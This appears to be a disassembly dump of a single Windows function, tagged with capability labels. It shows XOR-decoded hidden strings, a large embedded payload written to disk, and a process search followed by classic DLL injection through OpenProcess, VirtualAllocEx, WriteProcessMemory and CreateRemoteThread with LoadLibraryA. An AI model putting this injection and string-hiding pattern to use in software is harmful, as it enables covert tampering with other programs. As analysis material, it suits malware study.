Function at 0x140002b60
Capabilities:
Create directory
Create process on windows
Create thread
Enumerate processes
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x248]
sub rsp, 0x320
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140069040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
xor r12d, r12d
cmp byte [0x1401016b0], r12b
je 0x140004e6e
mov rcx, qword [0x1401022c0]
test rcx, rcx
jne 0x140002bdc
mov r8d, 0x997
lea rdx, [0x140052e50]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401022c0]
mov dword [rcx + 0x1654], 0x3f000000
mov dword [rcx + 0x1658], 0x3f000000
test rcx, rcx
jne 0x140002c16
mov r8d, 0x997
lea rdx, [0x140052e50]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401022c0]
mov dword [rcx + 0x1644], 0x40c00000
xorps xmm2, xmm2
movss xmm0, dword [0x1401016a0]
movss xmm1, dword [0x1401016a4]
mov eax, dword [rcx + 0x1dc0]
or eax, 1
mov dword [rcx + 0x1dc0], eax
unpcklps xmm0, xmm1
movsd qword [rcx + 0x1dd4], xmm0
xorps xmm1, xmm1
unpcklps xmm1, xmm2
movsd qword [rcx + 0x1ddc], xmm1
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movss xmm0, dword [0x1401016a8]
movss xmm1, dword [0x1401016ac]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc8], 1
or eax, 0x42
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1e20], 0x3f800000
mov r13d, 4
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov eax, dword [rdi + r13]
cmp dword [0x1401025a4], eax
jle 0x140002d1c
lea rcx, [0x1401025a4]
call fcn.14004fe1c
cmp dword [0x1401025a4], 0xffffffff
jne 0x140002d1c
mov dword [0x1401023fc], 0x11b6d4d
mov dword [0x1401023f0], 0x9e4a1d4f
mov dword [0x1401023f4], 0x52537f42
mov dword [0x1401023f8], 0xc9561a6a
lea rcx, [0x140051af0]
call fcn.1400500f8
lea rcx, [0x1401025a4]
call fcn.14004fdb0
cmp byte [0x1401023ff], r12b
je 0x140002d95
xor byte [0x1401023f0], 9
xor byte [0x1401023f1], 0x71
xor byte [0x1401023f2], 0x25
xor byte [0x1401023f3], 0xe9
xor byte [0x1401023f4], 0x3b
xor byte [0x1401023f5], 0x5f
xor byte [0x1401023f6], 0x1b
xor byte [0x1401023f7], 0x33
xor byte [0x1401023f8], 9
xor byte [0x1401023f9], 0x71
xor byte [0x1401023fa], 0x25
xor byte [0x1401023fb], 0xe9
xor byte [0x1401023fc], 0x3b
xor byte [0x1401023fd], 0x5f
xor byte [0x1401023fe], 0x1b
mov byte [0x1401023ff], r12b
mov r8d, 0x12a
lea rdx, [0x1401016b0]
lea rcx, [0x1401023f0]
call fcn.140013f20
mov qword [rbp - 0x70], r12
mov eax, dword [rdi + r13]
cmp dword [0x140102538], eax
jle 0x140002e09
lea rcx, [0x140102538]
call fcn.14004fe1c
cmp dword [0x140102538], 0xffffffff
jne 0x140002e09
mov dword [0x140102430], 0x10d1f06
mov dword [0x140102428], 0x176c040b
mov dword [0x14010242c], 0x29fca65
lea rcx, [0x140051ad0]
call fcn.1400500f8
lea rcx, [0x140102538]
call fcn.14004fdb0
cmp byte [0x140102433], r12b
je 0x140002e66
xor byte [0x140102428], 0x67
xor byte [0x140102429], 0x6b
xor byte [0x14010242a], 0xd
xor byte [0x14010242b], 0x73
xor byte [0x14010242c], 0x45
xor byte [0x14010242d], 0xa9
xor byte [0x14010242e], 0xf7
xor byte [0x14010242f], 0x67
xor byte [0x140102430], 0x67
xor byte [0x140102431], 0x6b
xor byte [0x140102432], 0xd
mov byte [0x140102433], r12b
lea rdx, [rbp - 0x70]
lea rcx, [0x140102428]
call fcn.140047b70
mov rbx, 0xffffffffffffffff
lea r14d, [rbx + 5]
test al, al
je 0x140004077
lea rcx, [rbp + 0x98]
call fcn.140002450
nop
lea rcx, [rbp + 0x10]
call fcn.140002620
nop
mov eax, dword [rdi + r13]
cmp dword [0x1401024ec], eax
jle 0x140002eeb
lea rcx, [0x1401024ec]
call fcn.14004fe1c
cmp dword [0x1401024ec], ebx
jne 0x140002eeb
mov dword [0x14010247a], 0x131c1b2
mov word [0x140102478], 0xb9a9
lea rcx, [0x140051ab0]
call fcn.1400500f8
lea rcx, [0x1401024ec]
call fcn.14004fdb0
cmp byte [0x14010247d], 0
je 0x140002f1e
xor byte [0x140102478], 0x87
xor byte [0x140102479], 0xcd
xor byte [0x14010247a], 0xdf
xor byte [0x14010247b], 0xb1
xor byte [0x14010247c], 0x31
mov byte [0x14010247d], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r12
lea rdx, [0x140102478]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140002f40
lea rcx, [rbp - 0x30]
call fcn.140006760
nop
mov eax, dword [rdi + r13]
cmp dword [0x140102490], eax
jle 0x140002fa6
lea rcx, [0x140102490]
call fcn.14004fe1c
cmp dword [0x140102490], 0xffffffff
jne 0x140002fa6
mov word [0x1401025cf], 0x125
mov word [0x1401025cc], 0x8562
mov byte [0x1401025ce], 0x30
lea rcx, [0x140051aa0]
call fcn.1400500f8
lea rcx, [0x140102490]
call fcn.14004fdb0
cmp byte [0x1401025d0], 0
je 0x140002fd2
xor byte [0x1401025cc], 7
xor byte [0x1401025cd], 0xe1
xor byte [0x1401025ce], 0x57
xor byte [0x1401025cf], 0x25
mov byte [0x1401025d0], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
lea rdx, [0x1401025cc]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140002ff0
lea rcx, [rbp + 0x30]
call fcn.140006760
nop
mov eax, dword [rdi + r13]
cmp dword [0x140102620], eax
jle 0x14000304d
lea rcx, [0x140102620]
call fcn.14004fe1c
cmp dword [0x140102620], 0xffffffff
jne 0x14000304d
mov word [0x1401023c5], 0x12d
mov byte [0x1401023c4], 0xa9
lea rcx, [0x140051a90]
call fcn.1400500f8
lea rcx, [0x140102620]
call fcn.14004fdb0
cmp byte [0x1401023c6], 0
je 0x14000306b
xor byte [0x1401023c4], 0xf5
xor byte [0x1401023c5], 0x2d
mov byte [0x1401023c6], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], r12
lea rdx, [0x1401023c4]
mov r8, rbx
inc r8
cmp byte [rdx + r8], 0
jne 0x140003084
lea rcx, [rbp + 0x50]
call fcn.140006760
nop
mov eax, dword [rdi + r13]
cmp dword [0x1401025f8], eax
jle 0x1400030f5
lea rcx, [0x1401025f8]
call fcn.14004fe1c
cmp dword [0x1401025f8], 0xffffffff
jne 0x1400030f5
mov word [0x140102559], 0x1db
mov dword [0x140102550], 0xad05e190
mov dword [0x140102554], 0x7e1e9887
mov byte [0x140102558], 0x8f
lea rcx, [0x140051a70]
call fcn.1400500f8
lea rcx, [0x1401025f8]
call fcn.14004fdb0
cmp byte [0x14010255a], 0
je 0x14000314b
xor byte [0x140102550], 0xd3
xor byte [0x140102551], 0xdb
xor byte [0x140102552], 0x59
xor byte [0x140102553], 0xeb
xor byte [0x140102554], 0xeb
xor byte [0x140102555], 0xf7
xor byte [0x140102556], 0x69
xor byte [0x140102557], 7
xor byte [0x140102558], 0xd3
xor byte [0x140102559], 0xdb
mov byte [0x14010255a], 0
xor edx, edx
lea rcx, [0x140102550]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movdqa xmm6, xmmword [0x14005fd50]
mov eax, dword [rdi + r13]
cmp dword [0x1401023c0], eax
jle 0x1400031ab
lea rcx, [0x1401023c0]
call fcn.14004fe1c
cmp dword [0x1401023c0], 0xffffffff
jne 0x1400031ab
mov word [0x1401025a0], 0x105
movups xmmword [0x140102590], xmm6
lea rcx, [0x140051a50]
call fcn.1400500f8
lea rcx, [0x1401023c0]
call fcn.14004fdb0
cmp byte [0x1401025a1], 0
je 0x140003232
xor byte [0x140102590], 5
xor byte [0x140102591], 0x35
xor byte [0x140102592], 0xfd
xor byte [0x140102593], 0xa9
xor byte [0x140102594], 0xcf
xor byte [0x140102595], 0xc1
xor byte [0x140102596], 0x65
xor byte [0x140102597], 0x81
xor byte [0x140102598], 5
xor byte [0x140102599], 0x35
xor byte [0x14010259a], 0xfd
xor byte [0x14010259b], 0xa9
xor byte [0x14010259c], 0xcf
xor byte [0x14010259d], 0xc1
xor byte [0x14010259e], 0x65
xor byte [0x14010259f], 0x81
xor byte [0x1401025a0], 5
mov byte [0x1401025a1], 0
xor edx, edx
lea rcx, [0x140102590]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rax, [rbp + 0x98]
cmp qword [rbp + 0xb0], 7
cmova rax, qword [rbp + 0x98]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp - 0x68], rax
call fcn.14004f6ac
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
lea r8, [rbp - 0x70]
mov edx, eax
lea rcx, [rbp + 0x70]
call fcn.140006f00
nop
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rdx, qword [rbp + 0x50]
mov r8, qword [rbp + 0x60]
lea rcx, [rbp + 0x70]
call fcn.1400061c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400061c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.1400061c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
lea rcx, [rbp - 0x50]
call fcn.1400061c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r12
mov qword [rbp + 8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400033ed
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140050118
movdqa xmm0, xmmword [0x14005fbf0]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14000343d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003438
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003438
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140050118
movdqa xmm0, xmmword [0x14005fbf0]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140003490
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000348b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000348b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140050118
movdqa xmm0, xmmword [0x14005fbf0]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400034e4
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400034df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140050118
movdqa xmm0, xmmword [0x14005fbf0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0xc0]
call fcn.140005b20
nop
mov r8d, 0x98400
lea rdx, [0x1400690e0]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp + 0xc8]
call fcn.140006100
test rax, rax
jne 0x140003585
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xc0]
xor r8d, r8d
lea edx, [r8 + 2]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xc8]
call fcn.140005ab0
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x168]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov eax, dword [rsi + r13]
cmp dword [0x1401024a4], eax
jle 0x14000364a
lea rcx, [0x1401024a4]
call fcn.14004fe1c
cmp dword [0x1401024a4], 0xffffffff
jne 0x14000364a
mov dword [0x14010248c], 0x1e12401
mov dword [0x140102480], 0xeb481b8c
mov dword [0x140102484], 0x828f0a1d
mov dword [0x140102488], 0xe0070ab9
lea rcx, [0x140051a30]
call fcn.1400500f8
lea rcx, [0x1401024a4]
call fcn.14004fdb0
cmp byte [0x14010248f], 0
je 0x1400036c3
xor byte [0x140102480], 0xdf
xor byte [0x140102481], 0x6f
xor byte [0x140102482], 0x29
xor byte [0x140102483], 0x85
xor byte [0x140102484], 0x79
xor byte [0x140102485], 0x41
xor byte [0x140102486], 0xe1
xor byte [0x140102487], 0xeb
xor byte [0x140102488], 0xdf
xor byte [0x140102489], 0x6f
xor byte [0x14010248a], 0x29
xor byte [0x14010248b], 0x85
xor byte [0x14010248c], 0x79
xor byte [0x14010248d], 0x41
xor byte [0x14010248e], 0xe1
mov byte [0x14010248f], 0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov r15d, r12d
lea rdx, [rbp + 0xc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400039cf
lea rdx, [rbp + 0xc0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400039cf
nop dword [rax]
nop dword [rax + rax]
lea rdx, [0x140102480]
lea rcx, [rbp + 0xec]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400039c8
lea rdx, [rbp + 0xc0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140003710
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsi + r13]
cmp dword [0x140102448], eax
jle 0x140003796
lea rcx, [0x140102448]
call fcn.14004fe1c
cmp dword [0x140102448], 0xffffffff
jne 0x140003796
mov dword [0x14010261c], 0x1b920b9
mov dword [0x140102618], 0x52c74d32
lea rcx, [0x140051970]
call fcn.1400500f8
lea rcx, [0x140102448]
call fcn.14004fdb0
cmp byte [0x14010261f], 0
je 0x1400037d7
xor byte [0x140102618], 0x77
xor byte [0x140102619], 0x3f
xor byte [0x14010261a], 0xb5
xor byte [0x14010261b], 0x3d
xor byte [0x14010261c], 0xcb
xor byte [0x14010261d], 1
xor byte [0x14010261e], 0xb9
mov byte [0x14010261f], 0
movdqa xmm6, xmmword [0x14005fca0]
mov word [rbp - 0x60], 0x3f12
mov eax, dword [rsi + r13]
cmp dword [0x1401023ac], eax
jle 0x140003837
lea rcx, [0x1401023ac]
call fcn.14004fe1c
cmp dword [0x1401023ac], 0xffffffff
jne 0x140003837
mov byte [0x1401025ba], 1
movups xmmword [0x1401025a8], xmm6
movzx eax, word [rbp - 0x60]
mov word [0x1401025b8], ax
lea rcx, [0x140051990]
call fcn.1400500f8
lea rcx, [0x1401023ac]
call fcn.14004fdb0
cmp byte [0x1401025ba], 0
je 0x1400038c9
xor byte [0x1401025a8], 0x77
xor byte [0x1401025a9], 0x3f
xor byte [0x1401025aa], 0xb5
xor byte [0x1401025ab], 0x3d
xor byte [0x1401025ac], 0xcb
xor byte [0x1401025ad], 1
xor byte [0x1401025ae], 0xb9
xor byte [0x1401025af], 1
xor byte [0x1401025b0], 0x77
xor byte [0x1401025b1], 0x3f
xor byte [0x1401025b2], 0xb5
xor byte [0x1401025b3], 0x3d
xor byte [0x1401025b4], 0xcb
xor byte [0x1401025b5], 1
xor byte [0x1401025b6], 0xb9
xor byte [0x1401025b7], 1
xor byte [0x1401025b8], 0x77
xor byte [0x1401025b9], 0x3f
mov byte [0x1401025ba], 0
xor r9d, r9d
lea r8, [0x140102618]
lea rdx, [0x1401025a8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rax, qword [rbp + 0x10]
mov byte [rax], 0
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rax, qword [rbp - 0x30]
mov byte [rax], 0
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rax, qword [rbp + 0x30]
mov byte [rax], 0
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rax, qword [rbp - 0x10]
mov byte [rax], 0
lea rax, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rax, qword [rbp + 0x50]
mov byte [rax], 0
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rax, qword [rbp + 0x10]
mov qword [rbp + 0x20], r12
mov byte [rax], 0
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rax, qword [rbp - 0x30]
mov byte [rax], 0
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rax, qword [rbp + 0x30]
mov byte [rax], 0
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rax, qword [rbp - 0x10]
mov qword [rbp], r12
mov byte [rax], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140003f13
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r15d, dword [rbp + 0xc8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
je 0x140003749
lea rdi, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdi, qword [rbp - 0x10]
mov r8d, r15d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140003a14
lea rcx, str.Handle_Error
call fcn.140001020
mov dword [rsp + 0x20], r14d
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
mov r9, rbx
inc r9
cmp byte [rdi + r9], 0
jne 0x140003a36
mov qword [rsp + 0x20], 0
mov r8, rdi
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, r15
test eax, eax
jne 0x140003a6d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r12d, r12d
jmp 0x140003749
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r12
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140003a9d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsi + r13]
cmp dword [0x140102530], eax
jle 0x140003b0d
lea rcx, [0x140102530]
call fcn.14004fe1c
cmp dword [0x140102530], 0xffffffff
jne 0x140003b0d
mov word [0x14010258d], 0x107
mov dword [0x140102580], 0xd6368cc8
mov dword [0x140102584], 0x1b327472
mov dword [0x140102588], 0xcc3995ee
mov byte [0x14010258c], 0x36
lea rcx, [0x1400519f0]
call fcn.1400500f8
lea rcx, [0x140102530]
call fcn.14004fdb0
cmp byte [0x14010258e], 0
je 0x140003b7f
xor byte [0x140102580], 0x9b
xor byte [0x140102581], 0xf9
xor byte [0x140102582], 0x55
xor byte [0x140102583], 0xb5
xor byte [0x140102584], 0x17
xor byte [0x140102585], 7
xor byte [0x140102586], 0x41
xor byte [0x140102587], 0x7d
xor byte [0x140102588], 0x9b
xor byte [0x140102589], 0xf9
xor byte [0x14010258a], 0x55
xor byte [0x14010258b], 0xb5
xor byte [0x14010258c], 0x17
xor byte [0x14010258d], 7
mov byte [0x14010258e], 0
movdqa xmm6, xmmword [0x14005fc50]
mov dword [rbp - 0x40], 0xd43d9abb
mov dword [rbp - 0x3c], 0x11246979
mov word [rbp - 0x38], 0xf9ba
mov eax, dword [rsi + r13]
cmp dword [0x1401023c8], eax
jle 0x140003bfa
lea rcx, [0x1401023c8]
call fcn.14004fe1c
cmp dword [0x1401023c8], 0xffffffff
jne 0x140003bfa
mov byte [0x1401025f2], 1
movups xmmword [0x1401025d8], xmm6
movsd xmm0, qword [rbp - 0x40]
movsd qword [0x1401025e8], xmm0
movzx eax, word [rbp - 0x38]
mov word [0x1401025f0], ax
lea rcx, [0x140051a10]
call fcn.1400500f8
lea rcx, [0x1401023c8]
call fcn.14004fdb0
cmp byte [0x1401025f2], 0
je 0x140003cc4
xor byte [0x1401025d8], 0x9b
xor byte [0x1401025d9], 0xf9
xor byte [0x1401025da], 0x55
xor byte [0x1401025db], 0xb5
xor byte [0x1401025dc], 0x17
xor byte [0x1401025dd], 7
xor byte [0x1401025de], 0x41
xor byte [0x1401025df], 0x7d
xor byte [0x1401025e0], 0x9b
xor byte [0x1401025e1], 0xf9
xor byte [0x1401025e2], 0x55
xor byte [0x1401025e3], 0xb5
xor byte [0x1401025e4], 0x17
xor byte [0x1401025e5], 7
xor byte [0x1401025e6], 0x41
xor byte [0x1401025e7], 0x7d
xor byte [0x1401025e8], 0x9b
xor byte [0x1401025e9], 0xf9
xor byte [0x1401025ea], 0x55
xor byte [0x1401025eb], 0xb5
xor byte [0x1401025ec], 0x17
xor byte [0x1401025ed], 7
xor byte [0x1401025ee], 0x41
xor byte [0x1401025ef], 0x7d
xor byte [0x1401025f0], 0x9b
xor byte [0x1401025f1], 0xf9
mov byte [0x1401025f2], 0
xor r9d, r9d
lea r8, [0x140102580]
lea rdx, [0x1401025d8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movdqa xmm6, xmmword [0x14005fc90]
mov dword [rbp - 0x40], 0x25ceaae6
mov dword [rbp - 0x3c], 0x7a56861c
mov eax, dword [rsi + r13]
cmp dword [0x1401025bc], eax
jle 0x140003d49
lea rcx, [0x1401025bc]
call fcn.14004fe1c
cmp dword [0x1401025bc], 0xffffffff
jne 0x140003d49
mov word [0x140102578], 0x191
movups xmmword [0x140102560], xmm6
movsd xmm0, qword [rbp - 0x40]
movsd qword [0x140102570], xmm0
lea rcx, [0x1400519b0]
call fcn.1400500f8
lea rcx, [0x1401025bc]
call fcn.14004fdb0
cmp byte [0x140102579], 0
je 0x140003e0c
xor byte [0x140102560], 0x91
xor byte [0x140102561], 0xd3
xor byte [0x140102562], 0x91
xor byte [0x140102563], 0x4d
xor byte [0x140102564], 0x7d
xor byte [0x140102565], 0xe5
xor byte [0x140102566], 0x3d
xor byte [0x140102567], 9
xor byte [0x140102568], 0x91
xor byte [0x140102569], 0xd3
xor byte [0x14010256a], 0x91
xor byte [0x14010256b], 0x4d
xor byte [0x14010256c], 0x7d
xor byte [0x14010256d], 0xe5
xor byte [0x14010256e], 0x3d
xor byte [0x14010256f], 9
xor byte [0x140102570], 0x91
xor byte [0x140102571], 0xd3
xor byte [0x140102572], 0x91
xor byte [0x140102573], 0x4d
xor byte [0x140102574], 0x7d
xor byte [0x140102575], 0xe5
xor byte [0x140102576], 0x3d
xor byte [0x140102577], 9
xor byte [0x140102578], 0x91
mov byte [0x140102579], 0
mov eax, dword [rsi + r13]
cmp dword [0x140102614], eax
jle 0x140003e58
lea rcx, [0x140102614]
call fcn.14004fe1c
cmp dword [0x140102614], 0xffffffff
jne 0x140003e58
mov dword [0x1401024f2], 0x17d23f4
mov word [0x1401024f0], 0xa3fe
lea rcx, [0x1400519d0]
call fcn.1400500f8
lea rcx, [0x140102614]
call fcn.14004fdb0
cmp byte [0x1401024f5], 0
je 0x140003e8b
xor byte [0x1401024f0], 0x91
xor byte [0x1401024f1], 0xd3
xor byte [0x1401024f2], 0x91
xor byte [0x1401024f3], 0x4d
xor byte [0x1401024f4], 0x7d
mov byte [0x1401024f5], 0
mov dword [rsp + 0x28], 1
xor r12d, r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [0x140102560]
lea rdx, [0x1401024f0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rax, qword [rbp + 0x10]
mov byte [rax], r12b
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rax, qword [rbp - 0x30]
mov byte [rax], r12b
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rax, qword [rbp + 0x30]
mov byte [rax], r12b
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rax, qword [rbp - 0x10]
mov byte [rax], r12b
lea rax, [rbp + 0x50]
